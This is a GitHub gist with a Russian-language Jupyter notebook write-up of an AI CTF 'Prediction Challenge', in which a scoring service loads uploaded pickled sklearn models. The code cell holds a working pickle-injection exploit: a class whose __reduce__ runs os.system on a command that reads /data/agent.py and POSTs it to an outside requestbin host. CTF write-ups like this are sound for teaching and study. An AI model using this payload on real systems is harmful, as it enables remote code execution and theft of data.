Created
May 30, 2019 15:56
-
-
Save konodyuk/226cbbccaf8ffa1e53b4f058221bea60 to your computer and use it in GitHub Desktop.
[AI CTF Writeup] Prediction Challenge
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"cells": [ | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"# AI CTF Writeup [RU]" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## Prediction Challenge (200)\n", | |
"\n", | |
"Нам дан сервис, в который необходимо загрузить нечто и выбить скор 1.0. Из логики сервиса понимаем, что нужно загрузить некую ML-модель, которую сервис заскорит и выдаст нам скор. Однако самая сложная часть таска -- понять, какую же именно модель нужно загружать. При любой ошибке сервис выдает 0.0, и сначала даже не очень понятно, все ли мы делаем правильно и действительно ли сервис скорит модель. В какой-то момент приходит идея отправить запикленную sklearn-модель на 10 фичах. Треним random forest и засылаем. Ура, пробили 0, теперь мы точно знаем, что сервис кушает пикл. На всякий случай засылаем модели с разным количеством фич и убеждаемся, что модель только скорится, не тренируется. Так как количество посылок не ограничено, приходят всякие мысли про leaderboard probing, но в конце концов мы забиваем и останавливаемся на pickle injection. " | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": 1, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"exploit = \"\"\"python3 -c \"import urllib.request; import urllib.parse; urllib.request.urlopen('https://en4ooilchp4w2.x.pipedream.net', data=urllib.parse.urlencode({'kekes': __import__('os').popen('cat /data/agent.py').read()}).encode())\" \"\"\"\n", | |
"\n", | |
"class Kek:\n", | |
" def __reduce__(self):\n", | |
" return (__import__('os').system, ((exploit), ))" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"Сделаем вот такой класс `Kek` и сможем исполнять любой код. В этом конкретном примере мы POST-запросом вытягиваем сорцы сервиса на requestbin. Так как мы уже знаем формат модели, то логично будет вытянуть данные и заоверфитить модель, которая наберет 1.0. Это и делаем, получаем флаг." | |
] | |
} | |
], | |
"metadata": { | |
"kernelspec": { | |
"display_name": "Python 3", | |
"language": "python", | |
"name": "python3" | |
}, | |
"language_info": { | |
"codemirror_mode": { | |
"name": "ipython", | |
"version": 3 | |
}, | |
"file_extension": ".py", | |
"mimetype": "text/x-python", | |
"name": "python", | |
"nbconvert_exporter": "python", | |
"pygments_lexer": "ipython3", | |
"version": "3.6.1" | |
} | |
}, | |
"nbformat": 4, | |
"nbformat_minor": 2 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment